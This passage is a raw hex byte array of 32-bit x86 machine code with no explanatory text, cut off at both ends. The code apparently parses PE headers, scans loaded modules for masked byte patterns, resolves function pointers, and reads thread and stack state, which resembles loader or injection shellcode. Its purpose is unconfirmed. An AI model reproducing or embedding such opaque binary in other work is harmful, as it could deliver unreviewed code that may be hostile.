0,0x89,0x34,0x24,0xE8,0x1A,0xA6,0x00,0x00,0x83,0xEC,0x0C,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0xB4,0xB3,0x00,0x00,0x83,0xEC,0x0C,0x89,0x7C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x34,0x24,0xE8,0x7D,0xFC,0xFF,0xFF,0x8B,0x55,0xE4,0x83,0xEC,0x0C,0xE9,0xC4,0xFE,0xFF,0xFF,0x66,0x90,0x55,0x89,0xE5,0x83,0xEC,0x08,0xC7,0x05,0x3C,0x4A,0x49,0x65,0x00,0x00,0x00,0x00,0x8B,0x4D,0x10,0x8B,0x55,0x0C,0x8B,0x45,0x08,0xE8,0x32,0xFE,0xFF,0xFF,0xC9,0xC2,0x0C,0x00,0x2E,0x8D,0xB4,0x26,0x00,0x00,0x00,0x00,0x8D,0xB6,0x00,0x00,0x00,0x00,0x55,0x89,0xE5,0x83,0xEC,0x18,0x8B,0x45,0x08,0xC7,0x04,0x24,0x00,0x30,0x49,0x65,0x89,0x44,0x24,0x04,0xE8,0x97,0xB6,0x00,0x00,0xC9,0xC3,0x90,0x90,0x90,0x90,0x90,0x55,0x89,0xE5,0x57,0x56,0x53,0x83,0xEC,0x1C,0xC7,0x04,0x24,0x00,0xE0,0x48,0x65,0xFF,0x15,0x38,0x61,0x49,0x65,0x83,0xEC,0x04,0x85,0xC0,0x74,0x73,0x89,0xC3,0xC7,0x04,0x24,0x00,0xE0,0x48,0x65,0xFF,0x15,0x5C,0x61,0x49,0x65,0x8B,0x3D,0x40,0x61,0x49,0x65,0x83,0xEC,0x04,0xA3,0x10,0x30,0x49,0x65,0xC7,0x44,0x24,0x04,0x13,0xE0,0x48,0x65,0x89,0x1C,0x24,0xFF,0xD7,0x83,0xEC,0x08,0x89,0xC6,0xC7,0x44,0x24,0x04,0x29,0xE0,0x48,0x65,0x89,0x1C,0x24,0xFF,0xD7,0x83,0xEC,0x08,0xA3,0x04,0xD0,0x48,0x65,0x85,0xF6,0x74,0x11,0xC7,0x44,0x24,0x04,0x14,0x30,0x49,0x65,0xC7,0x04,0x24,0xDC,0x00,0x49,0x65,0xFF,0xD6,0xC7,0x04,0x24,0xA0,0x14,0x48,0x65,0xE8,0x5E,0xFF,0xFF,0xFF,0x8D,0x65,0xF4,0x5B,0x5E,0x5F,0x5D,0xC3,0x8D,0xB6,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xBE,0x00,0x00,0x00,0x00,0xEB,0xC0,0x8D,0x74,0x26,0x00,0x55,0x89,0xE5,0x83,0xEC,0x18,0xA1,0x04,0xD0,0x48,0x65,0x85,0xC0,0x74,0x09,0xC7,0x04,0x24,0xDC,0x00,0x49,0x65,0xFF,0xD0,0xA1,0x10,0x30,0x49,0x65,0x85,0xC0,0x74,0x0C,0x89,0x04,0x24,0xFF,0x15,0x30,0x61,0x49,0x65,0x83,0xEC,0x04,0xC9,0xC3,0x90,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x83,0x7D,0x0C,0x00,0x75,0x05,0x8B,0x45,0x0C,0xEB,0x35,0x8B,0x45,0x08,0x8B,0x40,0x20,0x89,0xC1,0x8B,0x45,0x08,0x8B,0x50,0x1C,0x8B,0x40,0x18,0x01,0xC8,0x89,0x45,0xF4,0x8B,0x4D,0x0C,0x8B,0x45,0x08,0x8B,0x40,0x14,0x89,0xC3,0x8B,0x45,0x08,0x8B,0x50,0x1C,0x8B,0x40,0x18,0x01,0xD8,0x89,0xCA,0x29,0xC2,0x8B,0x45,0xF4,0x01,0xD0,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x24,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x4C,0x07,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xFB,0xB6,0x00,0x00,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x28,0xB2,0x00,0x00,0x8B,0x55,0x08,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0x32,0xB7,0x00,0x00,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x27,0xB7,0x00,0x00,0x85,0xC0,0x74,0x45,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0xE8,0xB1,0x00,0x00,0x89,0xC3,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0xFB,0xB6,0x00,0x00,0x8D,0x50,0x02,0x8B,0x45,0x08,0x05,0x08,0x02,0x00,0x00,0x89,0x5C,0x24,0x08,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0xD8,0xB6,0x00,0x00,0xEB,0x2F,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0xA3,0xB1,0x00,0x00,0x8B,0x55,0x08,0x81,0xC2,0x08,0x02,0x00,0x00,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0xA7,0xB6,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x30,0x8B,0x45,0x08,0x8B,0x55,0xF4,0x81,0xC2,0x00,0x01,0x00,0x00,0x0F,0xB7,0x44,0x50,0x08,0x66,0x83,0xF8,0x2E,0x75,0x15,0x8B,0x45,0x08,0x8B,0x55,0xF4,0x81,0xC2,0x00,0x01,0x00,0x00,0x66,0xC7,0x44,0x50,0x08,0x00,0x00,0xEB,0x0D,0x83,0x45,0xF4,0x01,0x81,0x7D,0xF4,0x03,0x01,0x00,0x00,0x7E,0xC7,0x8B,0x45,0x08,0x8B,0x55,0x10,0x89,0x90,0x10,0x04,0x00,0x00,0x83,0x7D,0x14,0x00,0x74,0x20,0x8B,0x45,0x08,0x8D,0x90,0x14,0x04,0x00,0x00,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8B,0x45,0x14,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0x0B,0xB6,0x00,0x00,0x8B,0x45,0x08,0x8B,0x55,0x20,0x89,0x90,0x18,0x05,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x1C,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x20,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x24,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x28,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x2C,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x30,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x74,0x5A,0x83,0x7D,0x1C,0x00,0x74,0x54,0xC7,0x44,0x24,0x04,0xFF,0x00,0x00,0x00,0x8B,0x45,0x18,0x89,0x04,0x24,0xE8,0x6A,0xB0,0x00,0x00,0x89,0x45,0xF0,0x8B,0x45,0x08,0x8D,0x90,0x38,0x05,0x00,0x00,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0x18,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0x30,0xB5,0x00,0x00,0x8B,0x45,0x08,0x8D,0x90,0x38,0x06,0x00,0x00,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0x1C,0x89,0x44,0x24,0x04,0x89,0x14,0x24,0xE8,0x11,0xB5,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x38,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x44,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x80,0x48,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0xEB,0x2D,0x8B,0x45,0x10,0x0F,0xB6,0x00,0x3C,0x78,0x75,0x17,0x8B,0x45,0x08,0x0F,0xB6,0x10,0x8B,0x45,0x0C,0x0F,0xB6,0x00,0x38,0xC2,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1B,0x83,0x45,0x10,0x01,0x83,0x45,0x08,0x01,0x83,0x45,0x0C,0x01,0x8B,0x45,0x10,0x0F,0xB6,0x00,0x84,0xC0,0x75,0xC9,0xB8,0x01,0x00,0x00,0x00,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x1C,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x3B,0x8B,0x55,0x08,0x8B,0x45,0xFC,0x01,0xD0,0x89,0x45,0xF8,0x8B,0x45,0x14,0x89,0x44,0x24,0x08,0x8B,0x45,0x10,0x89,0x44,0x24,0x04,0x8B,0x45,0xF8,0x89,0x04,0x24,0xE8,0x83,0xFF,0xFF,0xFF,0x85,0xC0,0x74,0x0F,0x8B,0x45,0x18,0x8B,0x55,0xF8,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x11,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0x0C,0x72,0xBD,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x50,0x01,0x89,0x55,0xF4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0x08,0x01,0xD0,0xC7,0x44,0x24,0x18,0x06,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x44,0xE0,0x48,0x65,0xC7,0x44,0x24,0x10,0x4C,0xE0,0x48,0x65,0xC7,0x44,0x24,0x0C,0x54,0xE0,0x48,0x65,0xC7,0x44,0x24,0x08,0x26,0xD4,0x95,0xF4,0xC7,0x44,0x24,0x04,0x6A,0xE0,0x48,0x65,0x89,0x04,0x24,0xE8,0xCC,0xFC,0xFF,0xFF,0x8B,0x45,0xF4,0x8D,0x50,0x01,0x89,0x55,0xF4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0x08,0x01,0xD0,0xC7,0x44,0x24,0x18,0x08,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x88,0xE0,0x48,0x65,0xC7,0x44,0x24,0x10,0x4C,0xE0,0x48,0x65,0xC7,0x44,0x24,0x0C,0x90,0xE0,0x48,0x65,0xC7,0x44,0x24,0x08,0xBC,0x8F,0x3E,0xA6,0xC7,0x44,0x24,0x04,0xA4,0xE0,0x48,0x65,0x89,0x04,0x24,0xE8,0x80,0xFC,0xFF,0xFF,0x8B,0x45,0xF4,0x8D,0x50,0x01,0x89,0x55,0xF4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0x08,0x01,0xD0,0xC7,0x44,0x24,0x18,0x08,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0xBE,0xE0,0x48,0x65,0xC7,0x44,0x24,0x10,0x4C,0xE0,0x48,0x65,0xC7,0x44,0x24,0x0C,0xC6,0xE0,0x48,0x65,0xC7,0x44,0x24,0x08,0x87,0x5A,0x1C,0x55,0xC7,0x44,0x24,0x04,0xDA,0xE0,0x48,0x65,0x89,0x04,0x24,0xE8,0x34,0xFC,0xFF,0xFF,0x8B,0x45,0x0C,0x8B,0x55,0xF4,0x89,0x10,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x50,0x01,0x89,0x55,0xF4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0x08,0x01,0xD0,0xC7,0x44,0x24,0x18,0x08,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x88,0xE0,0x48,0x65,0xC7,0x44,0x24,0x10,0x4C,0xE0,0x48,0x65,0xC7,0x44,0x24,0x0C,0x90,0xE0,0x48,0x65,0xC7,0x44,0x24,0x08,0xBC,0x8F,0x3E,0xA6,0xC7,0x44,0x24,0x04,0xA4,0xE0,0x48,0x65,0x89,0x04,0x24,0xE8,0xD0,0xFB,0xFF,0xFF,0x8B,0x45,0xF4,0x8D,0x50,0x01,0x89,0x55,0xF4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0x08,0x01,0xD0,0xC7,0x44,0x24,0x18,0x08,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0xBE,0xE0,0x48,0x65,0xC7,0x44,0x24,0x10,0x4C,0xE0,0x48,0x65,0xC7,0x44,0x24,0x0C,0xC6,0xE0,0x48,0x65,0xC7,0x44,0x24,0x08,0x87,0x5A,0x1C,0x55,0xC7,0x44,0x24,0x04,0xDA,0xE0,0x48,0x65,0x89,0x04,0x24,0xE8,0x84,0xFB,0xFF,0xFF,0x8B,0x45,0x0C,0x8B,0x55,0xF4,0x89,0x10,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0xEC,0x01,0xD0,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x18,0x89,0xC2,0x8B,0x45,0xE8,0x0F,0xB7,0x40,0x14,0x0F,0xB7,0xC0,0x01,0xD0,0x89,0x45,0xE4,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x74,0x8B,0x55,0xF0,0x89,0xD0,0xC1,0xE0,0x02,0x01,0xD0,0xC1,0xE0,0x03,0x89,0xC2,0x8B,0x45,0xE4,0x01,0xD0,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xEE,0xE0,0x48,0x65,0xE8,0x41,0xB2,0x00,0x00,0x85,0xC0,0x75,0x48,0x8B,0x55,0xF0,0x89,0xD0,0xC1,0xE0,0x02,0x01,0xD0,0xC1,0xE0,0x03,0x89,0xC2,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x50,0x0C,0x8B,0x45,0x08,0x01,0xD0,0x89,0xC2,0x8B,0x45,0x0C,0x89,0x10,0x8B,0x55,0xF0,0x89,0xD0,0xC1,0xE0,0x02,0x01,0xD0,0xC1,0xE0,0x03,0x89,0xC2,0x8B,0x45,0xE4,0x01,0xD0,0x8B,0x50,0x10,0x8B,0x45,0x10,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x17,0x83,0x45,0xF0,0x01,0x8B,0x45,0xE8,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xC0,0x39,0x45,0xF0,0x0F,0x82,0x79,0xFF,0xFF,0xFF,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x44,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x9F,0x3E,0x00,0x00,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xEE,0x01,0x00,0x00,0x8D,0x45,0xDC,0x89,0x44,0x24,0x08,0x8D,0x45,0xE0,0x89,0x44,0x24,0x04,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0xA4,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xCB,0x01,0x00,0x00,0x8B,0x55,0xE0,0x8B,0x45,0x08,0x89,0x90,0x24,0x05,0x00,0x00,0x8B,0x45,0x08,0x0F,0xB6,0x80,0x14,0x04,0x00,0x00,0x84,0xC0,0x75,0x0D,0x8B,0x45,0x08,0x8B,0x80,0x10,0x04,0x00,0x00,0x85,0xC0,0x74,0x7F,0x8B,0x45,0x08,0x0F,0xB6,0x80,0x14,0x04,0x00,0x00,0x84,0xC0,0x74,0x2C,0x8B,0x45,0x08,0x05,0x14,0x04,0x00,0x00,0x89,0x04,0x24,0xE8,0xC1,0x6F,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x97,0x3C,0x00,0x00,0x89,0x45,0xF0,0xEB,0x23,0x8B,0x45,0x08,0x8B,0x80,0x10,0x04,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x72,0x3C,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x40,0x01,0x00,0x00,0x8B,0x45,0x08,0x8B,0x55,0xF0,0x89,0x90,0x24,0x05,0x00,0x00,0x8B,0x45,0x08,0x8B,0x55,0xF0,0x89,0x90,0x3C,0x07,0x00,0x00,0x8B,0x45,0x08,0x0F,0xB6,0x80,0x38,0x05,0x00,0x00,0x84,0xC0,0x74,0x6D,0x8B,0x45,0xE0,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x80,0x24,0x05,0x00,0x00,0x29,0xC2,0x8B,0x45,0xDC,0x01,0xD0,0x83,0xE8,0x01,0x89,0x45,0xE4,0x8B,0x45,0x08,0x8D,0x98,0x38,0x05,0x00,0x00,0x8B,0x45,0x08,0x8D,0x88,0x38,0x06,0x00,0x00,0x8B,0x45,0x08,0x8B,0x80,0x24,0x05,0x00,0x00,0x8D,0x55,0xD8,0x89,0x54,0x24,0x10,0x89,0x5C,0x24,0x0C,0x89,0x4C,0x24,0x08,0x8B,0x55,0xE4,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x83,0xFB,0xFF,0xFF,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xBC,0x00,0x00,0x00,0x8B,0x55,0xD8,0x8B,0x45,0x08,0x89,0x90,0x24,0x05,0x00,0x00,0x8B,0x45,0x08,0x8B,0x80,0x18,0x05,0x00,0x00,0x85,0xC0,0x74,0x4A,0x8B,0x45,0xE0,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x80,0x24,0x05,0x00,0x00,0x29,0xC2,0x8B,0x45,0xDC,0x01,0xD0,0x83,0xE8,0x01,0x89,0x45,0xE4,0x8B,0x45,0x08,0x8B,0x80,0x18,0x05,0x00,0x00,0x39,0x45,0xE4,0x72,0x7D,0x8B,0x45,0x08,0x8B,0x80,0x24,0x05,0x00,0x00,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x80,0x18,0x05,0x00,0x00,0x01,0xD0,0x89,0xC2,0x8B,0x45,0x08,0x89,0x90,0x24,0x05,0x00,0x00,0x8B,0x45,0x08,0x8B,0x80,0x3C,0x07,0x00,0x00,0x85,0xC0,0x74,0x21,0x8B,0x45,0x08,0x8B,0x80,0x24,0x05,0x00,0x00,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x80,0x3C,0x07,0x00,0x00,0x29,0xC2,0x8B,0x45,0x08,0x89,0x90,0x40,0x07,0x00,0x00,0xEB,0x19,0x8B,0x45,0x08,0x8B,0x80,0x24,0x05,0x00,0x00,0x89,0xC2,0x8B,0x45,0xE8,0x29,0xC2,0x8B,0x45,0x08,0x89,0x90,0x40,0x07,0x00,0x00,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x8B,0x45,0x08,0xC7,0x80,0x1C,0x05,0x00,0x00,0x70,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x6B,0x8B,0x45,0xF4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xEC,0x8B,0x45,0xEC,0xC7,0x80,0x38,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x41,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x31,0x8B,0x45,0x0C,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x81,0xFF,0xFF,0xFF,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x74,0x12,0x8B,0x45,0xEC,0xC7,0x80,0x38,0x07,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF4,0x01,0x8B,0x45,0xF4,0x3B,0x45,0x0C,0x72,0x8D,0x90,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x8B,0x45,0x08,0x8B,0x40,0x24,0x83,0xE8,0x04,0x89,0xC2,0x8B,0x45,0x08,0x89,0x50,0x24,0x8B,0x45,0x08,0x8B,0x40,0x24,0x8B,0x55,0x0C,0x89,0x10,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x18,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0xC7,0x40,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x89,0x04,0x24,0xE8,0xB4,0xFF,0xFF,0xFF,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xE9,0x8D,0x00,0x00,0x00,0x8B,0x45,0x0C,0x2B,0x45,0xFC,0x69,0xC0,0x4C,0x07,0x00,0x00,0x8D,0x90,0xB4,0xF8,0xFF,0xFF,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x80,0x38,0x07,0x00,0x00,0x85,0xC0,0x74,0x61,0x8B,0x45,0x10,0x8B,0x40,0x28,0x89,0x44,0x24,0x04,0x8B,0x45,0x10,0x89,0x04,0x24,0xE8,0xA8,0xF6,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8B,0x45,0x10,0x89,0x04,0x24,0xE8,0x5D,0xFF,0xFF,0xFF,0x8B,0x45,0x10,0x8B,0x50,0x24,0x8B,0x45,0x10,0x89,0x50,0x28,0x8B,0x45,0x10,0x8B,0x50,0x24,0x8B,0x45,0xF8,0x8B,0x80,0x1C,0x05,0x00,0x00,0xB9,0x04,0x00,0x00,0x00,0x29,0xC1,0x01,0xCA,0x8B,0x45,0x10,0x89,0x50,0x24,0x8B,0x45,0x10,0x8B,0x40,0x24,0x8B,0x55,0xF8,0x8B,0x92,0x24,0x05,0x00,0x00,0x89,0x10,0xEB,0x01,0x90,0x83,0x45,0xFC,0x01,0x8B,0x45,0xFC,0x3B,0x45,0x0C,0x0F,0x82,0x67,0xFF,0xFF,0xFF,0x90,0x90,0xC9,0xC3,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x8D,0x44,0x24,0x04,0xC3,0x90,0x0F,0x0B,0xB8,0x18,0x00,0x00,0x00,0x64,0x8B,0x00,0xC3,0x90,0x0F,0x0B,0x55,0x89,0xE5,0x57,0x56,0x53,0x81,0xEC,0x8C,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xB4,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0xC7,0x45,0xAC,0x00,0x00,0x00,0x00,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0xC7,0x45,0x9C,0x07,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0xC7,0x45,0x94,0x04,0x00,0x00,0x00,0xC7,0x45,0x90,0xEF,0xBE,0xAD,0xDE,0xE8,0x6C,0xFF,0xFF,0xFF,0x89,0x45,0x98,0x8B,0x45,0x98,0x8B,0x40,0x08,0x89,0x45,0xAC,0x8B,0x45,0x98,0x8B,0x40,0x04,0x89,0xC1,0x8B,0x45,0x98,0x8B,0x40,0x08,0x89,0xC2,0x89,0xC8,0x29,0xD0,0x89,0x45,0xA0,0xC7,0x45,0xA4,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0xE8,0xDA,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xB4,0x83,0x7D,0xB4,0x00,0x0F,0x84,0x9E,0x03,0x00,0x00,0x81,0x7D,0x0C,0x0F,0x2A,0x9B,0xCD,0x75,0x14,0x8D,0x45,0x8C,0x89,0x44,0x24,0x04,0x8B,0x45,0xB4,0x89,0x04,0x24,0xE8,0x55,0xF8,0xFF,0xFF,0xEB,0x13,0x8D,0x45,0x8C,0x89,0x44,0x24,0x04,0x8B,0x45,0xB4,0x89,0x04,0x24,0xE8,0x3D,0xF9,0xFF,0xFF,0x90,0x8B,0x45,0x8C,0x83,0xF8,0x1E,0x76,0x1D,0xC7,0x04,0x24,0xF4,0xE0,0x48,0x65,0xE8,0x89,0x1A,0x00,0x00,0xC7,0x04,0x24,0x05,0xE1,0x48,0x65,0xE8,0x7D,0x1A,0x00,0x00,0xE9,0x53,0x03,0x00,0x00,0x8B,0x45,0x8C,0x89,0x44,0x24,0x04,0x8B,0x45,0xB4,0x89,0x04,0x24,0xE8,0x12,0xFD,0xFF,0xFF,0x8B,0x45,0x94,0x0F,0xAF,0x45,0x9C,0x89,0xC3,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xC8,0x83,0x7D,0xC8,0x00,0x0F,0x84,0x04,0x03,0x00,0x00,0x8B,0x45,0x94,0xBA,0x00,0x00,0x00,0x00,0x01,0x45,0xD8,0x11,0x55,0xDC,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xEB,0x3B,0x8B,0x45,0xC4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x80,0x38,0x07,0x00,0x00,0x85,0xC0,0x74,0x1F,0x8B,0x45,0xC4,0x69,0xD0,0x4C,0x07,0x00,0x00,0x8B,0x45,0xB4,0x01,0xD0,0x8B,0x80,0x1C,0x05,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x01,0x45,0xD8,0x11,0x55,0xDC,0x83,0x45,0xC4,0x01,0x8B,0x55,0xC4,0x8B,0x45,0x8C,0x39,0xC2,0x72,0xBB,0x8B,0x45,0x94,0xBA,0x00,0x00,0x00,0x00,0x01,0x45,0xD8,0x11,0x55,0xDC,0x8B,0x45,0x94,0xBA,0x00,0x00,0x00,0x00,0x01,0x45,0xD8,0x11,0x55,0xDC,0x8B,0x45,0x94,0xBA,0x00,0x00,0x00,0x00,0x23,0x45,0xD8,0x23,0x55,0xDC,0x8B,0x4D,0x94,0xBB,0x00,0x00,0x00,0x00,0x89,0x45,0x84,0x89,0xCF,0x89,0xD6,0x89,0xDA,0x8B,0x45,0x84,0x31,0xF8,0x31,0xF2,0x09,0xD0,0x75,0x0A,0x8B,0x45,0x94,0x01,0xC0,0x89,0x45,0xCC,0xEB,0x06,0x8B,0x45,0x94,0x89,0x45,0xCC,0x8B,0x45,0xCC,0xBA,0x00,0x00,0x00,0x00,0x01,0